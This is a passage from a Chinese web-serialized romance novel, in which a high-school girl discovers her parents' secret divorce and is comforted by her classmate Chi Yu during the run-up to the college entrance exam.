迟瑜瞪大了双眸，猛地起身抽出手臂，顾鸢眉毛紧皱，眼看着就要哭了。
迟瑜又将胳膊伸过去。
败了。
迟瑜靠着床席地而坐，双眸在黑暗的空间了亮的出奇。
真败了。
-
大概是因为生物钟的原因，顾鸢醒来的早，睁开眼睛
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反应了好几秒钟才想起自己在哪儿。
跻上拖鞋出去的时候，迟瑜正好从卫生间出来。
“洗漱用品我……”
“我先回学校……”
顾鸢抿唇，“昨天晚上谢谢你，我想先回学校。”
“等我一分钟。”迟瑜回卧室取了书包出来，“走吧。”
两人一路无话，到了学校之后，迟瑜拉着顾鸢先去食堂买了早餐，“要是不舒服就请一天假。”
顾鸢点了点头。
回到宿舍后，顾鸢把早餐放到茶几上，然后趴在床上想着要怎么办。
要告诉姜女士吗？
要找老顾问清楚吗？
或许……没有或许了，她亲眼看到的。
顾鸢先给曹军平打了电话请假，然后换了身衣服出了校门就打车去了津湾。
自从舅舅一家回美国之后顾鸢就没来过这边了，看家里的样子也不像是有人来过。
顾鸢直接上了二楼，如预料之中，姜女士书房的门是锁的，顾鸢又去了顾绍辉的书房，手落下去的时候，顾鸢的心里有过各种预想。
吧嗒一声，门打开。
顾鸢站在门口，紧紧地闭上眼睛又睁开。
房间的窗帘拉着，顾鸢抬手打开灯，忽而眼前一片亮白，顾鸢下意识先闭上眼睛，做了好几分钟的心理建设，顾鸢才挣开了眼睛。
在往里走的时候，顾鸢始终迈不出脚。
躺在舞蹈室的地上，顾鸢仔细地复盘着这些年发生的事情。
小的时候被送到外公外婆家，那个时候姜女士和老顾每次来看她的时候感情看着挺好的。
后来被接回家里，姜女士就给她报了各种兴趣班。
再后来第一次见到他们吵架是在九岁生日那天，从医院回家之后她半夜醒来下楼，听到他们在客厅大吵。
再那之后，她总是能听到他们在争吵，越到后来越频繁。
高一姜女士让她转学去附中那次，老顾打断了姜女士的话，本来是要说什么呢？
后来她去参加集训给老顾打电话接听的是一个女人。
还有凌熙诺说说里的那张照片。
吃砂锅那次她看到的很眼熟的人。
直到最近的，姜煦庭那天在火锅店说话的时候欲言又止。
犹豫很久，顾鸢找到姜女士的电话并拨通。
铃声一直响到自动挂断也没有接。
顾鸢下了楼，在客厅坐了很久，又拔通了姜煦庭的电话。
几秒钟之后，对面接通。
“顾鸢？怎么突然给我打电话了？”
顾鸢张了张嘴，嗓音有些虚，“我都知道了。”
姜煦庭拿着手机从床上坐了起来，看了眼手机再次确认是谁打来的电话，以及回忆了一下他刚刚是否幻听。
几秒钟之后，他得出了结论。
电话是顾鸢打的，说的话是她知道了。
可她知道的是什么？
姜煦庭正想着要怎么回话，顾鸢的声音又响起，“上次火锅店你其实是想告诉我对吗？”
火锅店。
姜煦庭打开灯，所以还是不知道是哪件。
“顾鸢，不告诉你是……”
“是为了我好。”顾鸢双手握紧，眼眶泛红，“可我有权知道，你们不能这样把我蒙在鼓里。”
真的在瞒她。
姜煦庭叹了口气，“顾鸢，既然你已经知道了，那你现在的想法改变了吗？”
顾鸢嗤笑一声，嗓音带了哭腔，“表哥，你说我该怎么办？”
姜煦庭烦躁地抓了把头发，掀开被子走到窗户前拉开窗帘，这个时间伦敦还是晚上，他也是刚睡下不久，韩淑怡在医院，姜温华出差不在家里，诺大的别墅里寂静的过分。
“顾鸢，再有三个月你就成年了，既然你已经知道，那就要自己做选择，如果站在我的想法上，我自然是希望你能来伦敦，毕竟你父亲……”
姜煦庭突然一愣，如果顾鸢真的知道了，又怎么会打电话来问他，最先问的人不应该是姑姑吗？
“我知道了，谢谢表哥。”顾鸢利落地挂了电话。
姜煦庭看着手机无奈轻嗤一声，“长大了真不好骗。”
-
顾鸢在客厅坐了很久，直到十一点半的时候顾绍辉发来了一条消息，说是中午来接她，让她中午放学之后在学校门口等着。
57. 留下
一个小时后，顾鸢听到了别墅大门打开的声音，顾绍辉脚步匆匆地走了进来，“浅浅，出什么事了，为什么要叫爸爸来家里？”
顾鸢闭上眼睛再睁开，抬起眼睫看向他，“爸爸，您没有什么要跟我说的吗？”
顾绍辉怔了怔，“什么？”
顾鸢把手机打开，放的正是凌熙诺发说说的那张照片。
顾绍辉不明所以，等他看清照片的时候怔愣在原地，不可置信地问顾鸢，“你、这是你哪里来的照片？”
顾鸢把他的反应都看在眼里，嗤笑一声，从沙发上坐了起来，“爸爸，如果我没有记错的话，这是去年元宵节那天，你那天在哪儿？”
顾绍辉怔愣着没有说话，顾鸢继续说道：“我给你打过电话，是一个女人接的。”
吧嗒
手机从手里滑落，掉在茶几上发出沉重的声响。
顾鸢轻轻扯了扯嘴角，又说：“后来我问了发照片的人，她说你和她已经过世的爸爸是好朋友，所以你对她妈妈和她都很照顾。”
顾绍辉点头，“对，对，我跟熙诺的爸爸……我们是朋友。”
顾鸢把头往上仰起，眼泪从脸颊滑落，她红着眼，继续说道：“我信了，我当时也信了。可是昨天晚上你为什么骗我，我亲眼看到了。”
“浅浅，你听爸爸解释。”顾绍辉情急之下去拉顾鸢的手。
顾鸢躲开，冷声质问他，“为什么要骗我？”
顾绍辉走到单人沙发前坐下，神色颓然，“浅浅，爸爸和你妈妈早就离婚了。”
轰隆一声，顾鸢直觉得脑袋似乎要炸开，磕磕绊绊地问：“你说什么？”
顾绍辉重复道：“我和你妈妈在你中考结束的那个暑假就离婚了，就是你去北京参加钢琴比赛的时候。”
顾鸢往后跌坐在沙发上，喃喃道：“离婚？你们都离婚三年了，为什么要瞒着我？”
顾绍辉叹了口气，“浅浅，我和你妈妈打算在你高考结束后再告诉你的，我们这样做也是不想耽误你的学习。”
顾鸢闭上眼，深吸一口气，继续问：“为什么离婚？”
顾绍辉张了张嘴，“浅浅，我……”
茶几上的手机突然响了起来，顾鸢拿过来一看，是姜女士打来的。
“浅浅，有件事妈妈一直瞒着你，我和你爸爸在你中考结束后就离婚了，本来打算等你高考结束后就告诉你的，没想到你已经知道了。”
顾鸢忍着哭腔说道：“可是你们这样做有考虑过我的感受吗？”
“浅浅，你也知道我和你爸爸这些年一直在吵架，分开对我们都好。”
顾鸢紧紧闭上眼睛，“我知道了，您忙。”
挂了电话，顾鸢径直往楼上走，顾绍辉叫住她，“浅浅，爸爸……”
“我的监护权在哪儿？”
顾绍辉愣了几秒，说：“你妈妈说她工作太忙了，所以你跟着我。”
顾鸢紧紧抓着栏杆，说道：“津湾和北岸那边我不希望任何陌生人踏足，我也不会跟你去任何一个新家，也不愿意认识你的新夫人。”
不等顾绍辉说话，顾鸢就直接上楼了。
三分钟后，顾鸢站在落地窗前看着顾绍辉离开。
顾鸢拉上窗帘，缓缓蹲了下去。
骗了自己这么久，这层布揭开还是受不了。
可真够脆弱的，不就是离婚了吗，反正跟以前也没什么一样，本来就没有人在乎她，没有人在乎……
-
下午晚饭时间，迟瑜给顾鸢打去电话，直到自动挂断也没有人接听。
迟瑜和刘阿姨赶到津湾的时候已经是一个小时后了，两人一路到三楼，顾鸢的卧室里没有人，手机丢在地上。
刘阿姨急忙道：“我去上面阁楼看看。”
“好。”迟瑜点头继续往里走，浴室里有水流的声音，迟瑜抬脚走了过去。
“顾鸢？”
“顾鸢？”
没有人应声，迟瑜正要推门，突然里面响起一声惊呼。
“啊——”
迟瑜直接推开门进去，“顾鸢？”
顾鸢摔倒在地上，只觉得脑袋嗡嗡嗡地响，胳膊疼后背疼腰疼屁股疼，哪哪都疼。
迟瑜把人抱起来往出走，顾鸢躺回被子里后把脏了的浴巾丢出去，“刘阿姨，帮我拿……”
好像不太对。
顾鸢慢慢睁开眼睛，迟瑜站在床头，手里还拿着她丢出去的浴巾。
顾鸢：……？？？
“你怎么、在我家？”
救命！！！
刚才发生了什么？
她摔倒了。
他跑进来了，她……对，她裹浴巾了。
他把她抱了出来，然后她把……
顾鸢很想闭上眼睛装死。
迟瑜咳嗽了一声，淡定地说道：“打你电话没人接，我和刘阿姨就过来找你了，听到你摔倒的声音我才推门进去，你摔哪里了？”
哪里？
顾鸢稍微动了下，疼地嘶了声，“脚疼。”
迟瑜正要掀开被子，刘阿姨在门口叫他，“小迟，阁楼也不在，要不报警吧。”
顾鸢下意识朝外喊道：“我在呢，您能不能帮我做点吃的，一天没吃东西了。”
“好好，我去做，你这孩子，差点吓死我们，小迟，你看着点她。”
“好。”
等刘阿姨走了，迟瑜和顾鸢的视线对上，顾鸢压着被子，“你做什么？”
迟瑜向她解释，“我看一下严不严重，要不要去医院？”
顾鸢慢慢把被子掀开一角。
脚腕没有肿起来，应该不严重。
迟瑜看向闭上眼睛装睡的人，“我去取冰袋？”
“嗯。”顾鸢把头埋在被子里装死，真是……
迟瑜勾唇，“那我下去了，你别乱动。”
顾鸢很纠结，她现在什么也没穿，早知道刚才让刘阿姨进来了。
算了，顾鸢探出脑袋，语气闷闷地说道：“你先、帮我拿件衣服。”
迟瑜抬脚往里走，为了方便，拿了一件长裙，看到女生的小衣服时，迟瑜的脸腾的红了，胡乱拿了一套裹在裙子里面，把衣服放在床头，迟瑜弯着腰说道：“你能行吗？”
“我行，你先出去。”顾鸢背对着他，手指紧紧抓着背角。
听到关门的声音，顾鸢才拿过衣服开始穿。
迟瑜取了冰袋，走到门口的时候先敲了敲门，“顾鸢，好了没有，我进来了。”
顾鸢靠在床头，朝外道：“进来吧。”
迟瑜走到床边坐下，顾鸢紧抿着唇拉开被子。
冰袋敷上去，顾鸢下意识嘶了一声，正要把脚往里缩，脚腕被握住，男生掌心的温度滚烫的直达心底，顾鸢大脑发懵，直听他冷声道：“别动。”
顾鸢抓着被子，视线落在迟瑜身上。
迟瑜突然抬头，顾鸢一愣，他半跪在床边，朝着顾鸢趴过来，顾鸢往后缩紧靠着床头，她把被子也拉了起来直到捂住半张脸。
迟瑜越靠越近，顾鸢甚至都能看到他根根分明的睫毛，心跳声沸反盈天，顾鸢咽了咽口水，“你……”
迟瑜伸长手臂，拿起另一个枕头往后退，顾鸢愣住，看着他把枕头垫在那只受伤的脚下。
“你刚才要说什么？”迟瑜抬头。
“没什么？”顾鸢别开眼。
迟瑜看了眼她湿漉漉的头发，问道：“吹风机在哪儿？”
“浴室的柜子里。”顾鸢说完突然意识到了什么，可迟瑜已经进去了。
还没一分钟，迟瑜就拿着吹风机出来。
顾鸢松了口气，应该没看见。
给吹风机插上电，顾鸢正要伸手拿，迟瑜按着她的肩膀往前倾了倾，“坐着别动。”
迟瑜平时也不用这玩意，先试了一下，然后再问她，“这个温度可以吗？”
“可以。”顾鸢抿唇，手指紧紧扣在一起。
吹风机的声音嗡嗡的响起，迟瑜用手指顺着头发，低着头神色专注的不亚于在参加考试。
“迟瑜。”
顾鸢突然叫了他一声，嗓音又低又软，迟瑜听的骨头都酥了，克制着心头的悸动，尽量用平淡地语气回她，“怎么？”
“有点痒。”
真是很奇怪，自己吹的时候怎么就不痒呢。
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迟瑜淡淡地嗯了一声。
心道你还痒，我才更痒。
等头发吹完，迟瑜拿着吹风机大步进了浴室，把东西放回去，余光瞥见顾鸢换下来的衣服，最上面的赫然是一件白色的……
“迟瑜—”
顾鸢在外面大声叫他，迟瑜忙往出走，“怎么了，脚疼？”
“不是。”顾鸢眨了眨眼，“我想喝水。”
“等着。”迟瑜抬脚往外走。
“等等。”
“又怎么？”
“帮我拿一下平板。”
……
顾鸢靠在床头刷平板，迟瑜坐在沙发上看手机，两人看着互不干扰。
顾鸢脑子里都是下午发生的事，爸爸妈妈在三年前就离婚了，她竟然才知道，还是在亲眼看到爸爸和别的女人在一起的时候才终于知道。
去美国又能怎么样呢，爸爸能再找人组建新的家庭，妈妈也能。
不管在哪里，她都是一个人。
吧嗒
眼泪砸在屏幕上，迅速溅开形成一朵水花。
迟瑜抬手揩了揩她的眼角，手掌在后颈抚摸，温声道：“是不是饿了，我去看刘阿姨饭做好了没有。”
“嗯。”顾鸢低低应了一声。
楼下，刘阿姨做好了饭正把围裙摘下来，“小迟，我家里还有事得回去了，浅浅这里你先看着，有什么事再给我打电话。”
迟瑜叫住她，“刘阿姨，她的爸爸妈妈是不是……”
刘阿姨叹了口气，“他们早就分开了，虽然我是猜的，但应该八九不离十。中考之后浅浅读了一中，每天都是早出晚归，先生和夫人几乎不回来，后来浅浅住校，家里就空了。”
“谢谢你。”
刘阿姨年初就因为要照顾坐月子的儿媳妇辞职了，之后就在家里带孙子。迟瑜之前留了她的联系方式，这次也是太着急了才会找她。
刘阿姨摇头，叹息一声，“没事。大人做事，可怜的都是孩子，浅浅虽然不说，但她什么都知道。你今天方便留下来照顾她吗，不然我跟家里说一声留下来。”
“我叫她的朋友过来，您快回去吧，电话又响了。”
“好。”
送走刘阿姨，迟瑜端着饭上楼，顾鸢哭的眼睛红红的，看到他进来抬了抬眼皮，“刘阿姨呢？”
“她家里有事，回去了。”迟瑜把饭放下，扶着她坐起来，“脚还疼吗？要不要去医院？”
顾鸢摇头，“不用。”
迟瑜又确认了一眼没有肿起来才放心。
……
吃了饭顾鸢躺在床上看着天花板，迟瑜收拾完上来，站在门口犹豫了几秒钟，“你家的客房在哪？”
顾鸢支着胳膊看他，“你不走？”
迟瑜抿唇，“刘阿姨叫我今晚看着你。”
顾鸢：“……在一楼。”
迟瑜往旁边看了眼，喉结滚了滚，说道：“顾鸢，你还没忘记昨天对我又摸又看的事吧？”
顾鸢脸颊腾的一热，羞赧道：“你说什么呢？”
“咳，这要放在古代，你可是要对我负责的。”
顾鸢涨红了脸，“那你刚才还……，你想说什么？”
迟瑜继续说道：“之前在江北你发烧那次我在医院陪护的事你……”
顾鸢：“你到底要说什么？”
“你脚不方便，我睡沙发就行。”迟瑜说完走过去躺下拿起抱枕捂住脑袋，一套动作行云流水十分自然。
顾鸢：“……迟瑜？”
迟瑜：“怎么了？”
顾鸢：“你自己取条毯子。”
迟瑜拿了毯子给自己盖上，眼睛直勾勾地盯着房顶。
过了五分钟，顾鸢又叫他，“迟瑜？”
迟瑜：“又怎么？”
顾鸢抿唇，“你这么早就休息了吗？”
迟瑜猛地从沙发上坐起来，扭头看向大床的方向，“大小姐，天黑了不睡觉我做什么？”
顾鸢支着胳膊坐起来，“我书桌上有复习资料。”
迟瑜：“所以？”
顾鸢：“看书。”
迟瑜：“？？？”
58. 银杏
顾鸢靠在床头拿了一本复习资料在看，迟瑜坐书桌前，神色认真。
夜风吹的树叶沙沙作响，房间里安静的只有翻书的声音和笔尖划过纸张的声音。
迟瑜揉了揉酸涩的脖子，扭头的时候发现顾鸢已经靠着床头睡着了。
迟瑜起身，轻轻拿出她手里的书，顾鸢突然睁开眼睛，眸光有些朦胧。
迟瑜：“我看你睡着了。”
顾鸢又闭上眼睛，迟瑜松了口气，帮她掖了掖被角，关上灯之后躺在沙发上看手机。
肖毅：【你怎么回事，顾姐也不在，你也不在。】
徐百川：【在哪儿？】
江皓阳：【你咋啦？】
迟瑜一一回过去，关上手机，脑海里想起刘阿姨说的事。
凌晨三点多，迟瑜听到窸窸窣窣一直翻身的声音，掀开被子走到床边打开床头的灯，顾鸢恰好看过来，轻声问道：“我吵醒你了吗？”
迟瑜顺势坐下，见她眼眶没红，就问：“脚疼了？”
顾鸢撑着胳膊坐起来，垂着脑袋抿唇，“不是，我就是睡不着，要不你还是去一楼客房吧，明天、今天不是还要去学校。”
迟瑜眼眸沉沉地看着她，提醒道：“今天周末。”
“哦”
顾鸢绞着手指，叹了口气，“我就是不知道以后要怎么办，但好像其实本来也没什么变化，可我就是有点难受，我是不是……”
迟瑜倾身抱住她，手掌轻轻拍着她的后背，“我知道，别怕，真正爱你的人不会因为身份的变化就疏远你，如果是，那他不值得你去难过，因为这样的人早晚也会离开。”
顾鸢推开他，眨了眨眼睛，“你是在说我爸？”
迟瑜：“……你觉得是吗？”
顾鸢垂头，眼眶瞬间就红了，“本来很难过的，可能是下午摔了一跤，突然就没那么难过了。”
迟瑜揉了揉她的脑袋，温声说道：“脚还疼不疼？”
“有点吧。”顾鸢说完，眼泪吧嗒掉在了手背上。
迟瑜立马去掀被子，顾鸢忙用手压下去，“你干什么？”
迟瑜一本正紧地说道：“不是脚疼？我看看。”
顾鸢脸颊泛红，“……现在又不疼了。”顿了两秒钟，她又说：“我有点渴了。”
迟瑜起身，倒了杯水给她，顾鸢只抿了两口就不喝了。
把杯子放回去，迟瑜又问她，“还不困？”
顾鸢摇头。
迟瑜：“那你……”
顾鸢：“你想看电影吗？”
迟瑜：“……想。”
两人选了一部鬼片，迟瑜看向她，“你不害怕了？”
“不是有你在。”顾鸢语气自然，迟瑜搭在膝盖上的手指攥紧，目光紧紧盯着她。
顾鸢说完，又道：“你要不坐过来。”
“好。”迟瑜勾唇微笑了下。
两人靠在床头，一道阴恻恻的声音响起，屏幕前立马出现一个红衣女鬼。
“啊——”
顾鸢把平板丢了出去，整个人缩进被子里。
迟瑜噗嗤一声笑了出来，捡起平板把声音关掉，然后把顾鸢从被子里拉出来，“现在呢，没有声音还害怕吗？”
顾鸢咽了咽口水，点头，“还好。”
迟瑜拿着平板，顾鸢双手捂住眼睛，“走了没有？”
“还没有。”
“现在呢？”
“又出来了。”
“还没走吗？”
“嗯”
顾鸢有些疑惑，慢慢把指头分开，一张惨白的脸出现在屏幕里，顾鸢赶紧把眼睛闭上双手掐着迟瑜的胳膊。
“怎么又出来了？”
迟瑜看她这副又菜又爱玩的样子，低头看了眼自己的胳膊，无奈道：“顾鸢？”
“啊。”顾鸢闭着眼睛手下加大了力道。
迟瑜疼的脸色微变，侧脸的咬肌紧绷着，“松下手先。”
“哦。”顾鸢慢慢把手松开，眼睛掀开一条缝，发现迟瑜的胳膊已经被她抓红了，她喃喃道：“那个，我不是有意的。”
迟瑜淡定地嗯了一声，“我知道，还看吗？”
顾鸢面色尴尬，“换一个吧。”
迟瑜把电影退出去，两人靠的近，手臂挨在一起，迟瑜继续往下翻，等反应过来的时候顾鸢已经靠在他肩膀上睡着了。
叹了口气，迟瑜把平板放下，扶着顾鸢睡好。
倒是挺能折腾人。
迟瑜正要走，手腕被抓住，他烦躁地揉乱头发。
顾鸢睡得不安稳，一会儿在叫外公外婆，一会儿又在叫爸爸妈妈，迟瑜像哄小孩儿一样温声哄了她半晚上，直到天光破晓她才慢慢睡过去。
迟瑜揉着酸麻的肩膀僵硬地走到沙发前扑通趴下。
-
虽然顾鸢说脚踝已经不疼了，但迟瑜坚持，两人还是去了一趟医院，医生说没问题才放心。
忽然，顾鸢抓着迟瑜的胳膊不走了。
“怎么……”迟瑜顺着顾鸢的目光看过去，抬手捂住她的眼睛，“别看。”
顾鸢把他的手拉了下来。
不远处，顾绍辉和那个女人有说有笑的去窗口缴费。
顾绍辉朝着这边看过来，顾鸢退了一步躲在迟瑜身后。
片刻后，迟瑜出声，“他们走了。”
顾鸢不想回津湾，也不想去北岸那边的家，最后呆在一家书店里，她撑着下巴怔愣地看着窗外。
外面车水马龙，有遛弯的老人，有刚从菜市场里出来的妈妈，有带着孩子去玩具店的年轻父母。
小的时候，老顾和姜女士也带她去过玩具店，还带她去了游乐园，去了海底世界，去了动物园……
可那些，都是以前了。
顾鸢眨了眨酸涩的眼睛，扭头才发现迟瑜不在。
“是在找你朋友吗？”一个小男孩说道。
顾鸢点头，“是啊，你看到他了吗？”
小男孩抬手指向外面，“哥哥出去接电话了。”
顾鸢顺着男孩的手指看过去，迟瑜站在银杏树下，耳朵上戴了耳机，两只手似乎在摆弄什么，他微微低着头，脚尖点地，等那边说完才挂断电话。
迟瑜回头看过来，隔着玻璃朝顾鸢笑了笑，而后走进来。
“给你。”
顾鸢看着那朵用银杏叶做成的玫瑰花愣住，“给我？”
“不然呢？”迟瑜拿起顾鸢的手，把花放到她手心，“可能不是很好看，你凑合着……”
“好看。”顾鸢扬唇，“很好看，我很喜欢。”
迟瑜勾唇，在她对面坐下，“开心一点了吗？”
顾鸢点头，“谢谢你，都陪了我两晚了。”
话落顾鸢才发现这么说好像有歧义，又赶紧补充道：“我的意思是谢谢你陪我……”
好像还是一个意思。
迟瑜靠在椅背上，唇角漾着笑，拖长了尾音说道：“顾姐也没说错，我可是陪了你两晚了。”
“迟瑜！”顾鸢羞赧，“我等会儿自己回去就行，你不用陪我了。”
迟瑜坐直了身体，“你回哪儿？”
“回学校。”顾鸢抚摸着银杏玫瑰，嗓音淡然：“还有两个多月就高考了，我不能再分心了，万一我要是去不了清大……”
“不会。”迟瑜打断她的话，目光灼灼地看着顾鸢说道：“你肯定会去。”
顾鸢抿唇，“嗯，我可是宁宜市的第一，肯定会去。”
不知道为什么，顾鸢刚才有一瞬的心慌，因为这两天发生的事让她受了不小的打击，所以顾鸢并没有多想。
-
回了宿舍，顾鸢又坐在沙发上发了好久的呆，手机铃声突然响了起来，顾鸢看向屏幕，是姜女士打来的。
“浅浅，你现在在哪儿？”
顾鸢捏紧了手机，说道：“学校宿舍。”
姜之遥的声音听起来有些虚，过了好一会儿才说道：“浅浅，妈妈跟你道歉，离婚的事不应该瞒着你。”
顾鸢没忍住，眼泪吧嗒掉了下来，嗓音带了哭腔，“妈妈，您和爸爸在一起的时候很不开心吗？”
姜之遥愣了几秒，说话的声音
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有些涩，“起初我们的感情也很好，尤其是有了你之后，我和你爸爸还做了一份详细的成长计划书，要把你培养成什么样的人。可是后来……，浅浅，无论是多深厚的感情，也抵挡不住时间的考验，我们分开，也是选择放过彼此。”
“可您没有选我？”
顾鸢任由眼泪从脸颊滑落，哭着说道：“我的监护权在爸爸哪儿，您为什么不要我？”
“浅浅，妈妈只是觉得，你跟你爸爸的感情更好。而且妈妈照顾不好你。”
顾鸢紧闭上眼，不愿意再多说，“您还在美国吗？”
姜之遥愣了几秒钟才说：“在，妈妈打算以后都在这边。”
“我知道了，您忙，先挂了。”
挂断电话后，顾鸢仰躺在沙发上闭上眼睛。
-
晚自习顾鸢没有去，祁蓉怂恿了肖毅问迟瑜。
肖毅拿着书坐在顾鸢的位置上，压低了声音问道：“师父，顾姐怎么还没回来？”
迟瑜瞥了他一眼，说道：“在宿舍自习也一样。”
肖毅点了点脑袋，“你说的好有道理，对顾姐这种学神来说确实在哪里学习都一样。”
曹军平拿着他的专属保温杯进来，看了一眼低下的学生，清了清嗓子说道：“耽误大家几分钟的时间，百日誓师大会在这周三举行，大家记得通知家长，至少要有一个人参加，到时候每个学生要和家长一起走红毯过成功门。”
下晚自习后，顾鸢正在洗脸，宿舍门就被敲响了。言酥、祁蓉和陈静三人站在门口。
“你们怎么来了？”顾鸢把门打开让她们进来。
祁蓉把手里的保温桶提起来，“你的脚不是崴了吗，这是我妈妈煲的骨头汤，你都喝了。”
顾鸢愣了一瞬，“阿姨做的？”
“我妈的手艺可是一等一的好，你一定要喝完。我爸爸还在外面等我呢，我得走了。”祁蓉说完又嘱咐言酥和陈静，“你们俩看着她喝完。”
顾鸢抬手正要说什么，祁蓉已经拉开门跑出去了，“我爸爸多等一秒就觉得我被拐走了，我先走了，明天见。”
言酥和陈静一左一右地扶着顾鸢走到沙发前坐下。
言酥瘪着嘴说道：“还好伤的不严重，不然就麻烦了，以后一定要小心小心再小心。”
陈静也后怕地说道：“还好不严重，不然正骨特别疼。”
顾鸢朝两人安抚地笑了笑，“放心吧，接下来的时间我一定一定一定小心。”
两人看着顾鸢把汤喝完才离开。
宿舍熄灯后，顾鸢打开了音乐助眠，突然迟瑜打来了语音电话。
“睡了？”
“还没有。”顾鸢侧躺着，怀里抱着被角，慢慢闭上了眼睛。
“周三誓师大会你打算怎么办？”
顾鸢咬了咬下唇，想起姜女士说的她来安排，心里有些期待。
“我妈妈可能会来。”
迟瑜松了口气，“没什么事，脚再疼了没？”
“不疼了。”顾鸢唇角浅勾，低声道：“迟瑜，你好罗嗦啊。”
迟瑜愣了两秒，语气有些抱怨，“还嫌我啰嗦，顾鸢，我可是两个晚上都没好好睡觉了，你怎么能过河拆桥呢？”
顾鸢有些心虚，“那你今晚早点睡，别看书了。”
迟瑜继续打趣她，“你昨晚还不让我睡把我叫起来看书。”
顾鸢脸颊一热，“那你今晚别看了。”
“顾鸢，你说我怎么就那么听你的话？”
顾鸢愣住，过了半晌才说道：“二模你能考过林杨吗？”
迟瑜：“……不睡了。”
“别，你快去休息。”顾鸢借着手机的光看到了书包拉链上的南瓜挂坠，“迟瑜，等高考结束，不管是什么，我都答应你一件事。”
良久，迟瑜的声音才从听筒里传出来，“顾鸢，答应的事就不能反悔。”
“我知道。”顾鸢捏了捏挂坠，说道：“你的胳膊怎么样了？”
“还好吧，就是青了两块。”迟瑜话音一转说道：“顾鸢，你昨晚亲我了。”
59. 渣女
“你说她怎么能这样，对人家又亲又摸的，完了还不认账，分明就是个渣女。”
“对，渣女，大渣女。”
顾鸢听着祁蓉的肖毅的讨论，不禁想起迟瑜昨晚说的事。
她没吧……
迟瑜拿笔点了点顾鸢的桌子，低声道：“在想什么？”
“没什么。”顾鸢一听到他的声音立马放下笔起身往出走。
迟瑜勾着唇低头浅笑。
这么好骗。
卫生间，顾鸢要出去的时候听到外面有女生说话。
“哎周三是你妈妈来还是你爸爸来？”
“当然是我爸爸，我从小到大的家长会他就没有缺席过一次。”
“真羡慕你，我爸心里只有我后妈带来的那个继女，根本就不管我。”
“什么？放着你这个亲身女儿不管去管一个没有血缘关系的继女，姐妹你也太可怜了。”
“谁说不是呢。”
顾鸢紧紧攥着手指，沉默地听她们讲完，等到外面没有人了才出去。
升国旗的时候，顾鸢正拿着单词本在背，祁蓉突然拉了拉她的胳膊，凑到她耳畔悄悄说道：“你有拿那个吗？”
顾鸢眨眼，“在教室，我们上去。”
祁蓉点头，“嗯嗯嗯。”
两人跟余荔说了一声，然后从后面跑出去，走到大厅的时候，迎面碰到了正要往出走的凌熙诺和她的朋友。
顾鸢拉着祁蓉快步上楼。
祁蓉：“我们走这么快干什么？”
顾鸢：“你不急啊。”
祁蓉：“快，快。”
凌熙诺的朋友喃喃道：“熙诺，顾学霸是在躲你吗？”
凌熙诺抿唇，“快出去吧，不然班长点名了。”
-
顾鸢在教室里等祁蓉，想起那天晚上顾绍辉给凌熙诺开车门和颜悦色的说话的样子，顾鸢只觉得心里堵得难受。
那天从别墅离开后顾绍辉就没有给她打过电话发过消息，就连家长会的事也没有过问。
原来爸爸被别人分走就是这样的，顾鸢眨了眨眼，忍着鼻尖的酸涩拿笔在草稿本上默写单词。
祁蓉回来见顾鸢在写单词，也悄悄坐到后面看书了。
等其他人上来，早自习都要下了。
迟瑜把小本子往桌子上一丢，拿着他和顾鸢的水杯去了水房。
回来的时候，顾鸢转到后面在给祁蓉讲题。
祁蓉抓了抓头发问她，“顾鸢，这个地方我怎么老是出错啊？”
顾鸢打开她的课本圈了几个知识点，“你把这几个点再看看，复习的时候还是要多看书，考的东西都是从课本延申出来的，把课本上的东西弄懂很重要。”
“我知道了。”祁蓉重重点头，“今天开始啃课本。”
上课铃声拉响，顾鸢转身坐好。
“来把上节课小测的卷子拿出来，看第五题，百分之八十的人都错了，都给你们讲了多少遍了怎么还是做错，非要我嚼碎了喂到你们嘴里……”
顾鸢的试卷就错了一道题，也就是这道题，等老师讲完这道题，顾鸢就拿出了笔记自己复习。
突然什么东西从窗户外飞了进来，教室里乱叫起来，顾鸢下意识往右边靠，迟瑜也顺势伸出胳膊揽住顾鸢。
等反应过来是一只小鸟，顾鸢脸颊一热立马坐直了身体，迟瑜也收回手端坐着。
两人一副不熟的样子。
禾姝拿书拍了拍讲桌，厉声道：“都安静，看看鸟的求知欲这么强，都来教室听学了，你们可抓点紧吧。”
话落视线扫过顾鸢和迟瑜两人。
下课后，禾姝把顾鸢叫到讲台上，“你就错了这一道选择题，但我认为你不应该错，能说说原因吗？”
顾鸢低着头说道：“是我看错题目了。”
禾姝语气严厉，“以后这种情况坚决不能再有知道吗？”
顾鸢点头保证，“以后绝对不会了，我会认真审题。”
像顾鸢这种又乖学习又好的学生，禾姝和其他老师一样很喜欢她，想起刚才上课的时候她看到的，禾姝拐了个弯说道：“还有不到一百天就高考了，这个时候千万不能分心，任何事都不能，这个道理老师知道你一定明白。”
“我知道的禾老师，不会再有这样的情况了。”顾鸢语气诚恳的保证。
禾姝点头，“行，下去吧。”
顾鸢刚坐下，迟瑜就问她，“禾老师说什么？”
“说这道题我不应该错，以后不能有这种情况了。”顾鸢往后一靠拿出英语书，“禾老师突然好严厉，还有点不习惯。”
迟瑜勾唇轻笑一声，语气有些玩味，“难得你也有被老师说的时候，万年一见呀顾姐。”
顾鸢斜睨了他一眼，“你很开心？”
“没有。”迟瑜急忙否认，“绝对没有。”
迟瑜原本担心顾鸢会因为她爸妈的事难过，现在看来情况比他想的要好一点。
其实自从高一军训那天在榕树下看到老曹办公室里探出的那颗脑袋，再到操场顾鸢坐在班级后面看晚会，下雨的时候他把伞塞到顾鸢手里，怕她看到自己又趁乱跑开。
他从没想过两人会有过多的交集，可命运就是这样让人捉摸不透，他们不仅分在一个班，还做了快两年的同桌。
如果不出意外，他们毕业后就可以在一起……
顾鸢看迟瑜一直盯着桌子发呆，伸手在他眼前晃了晃，“你这是想到什么了，笑得这么开心。”
“没什么。”迟瑜垂着脑袋低笑。
顾鸢蹙眉，觉得他好奇怪。
……
中午下课后顾鸢和言酥陈静约好了去食堂吃饭，刚出教室，顾鸢的手机就响了，看到来电显示的时候顾鸢愣了几秒。
跟言酥和陈静说了一声，顾鸢心情复杂地出了校门。
顾绍辉在马路对面朝她招手，顾鸢抿了抿唇，抬脚走了过去。
经过坦白，顾绍辉看到顾鸢的时候难得的有些局促，“浅浅，一起吃个饭吧。”
顾鸢轻轻点了点头。
上了车，顾鸢坐在后座，顾绍辉看了眼后视镜，说道：“浅浅，誓师大会的事你妈妈说她来解决。”
顾鸢神色淡淡，“我知道。”
往常黏人的女儿突然这样，顾绍辉有些不知所措，又说道：“浅浅，爸爸不是有意要瞒你的，你还在生爸爸的气吗？”
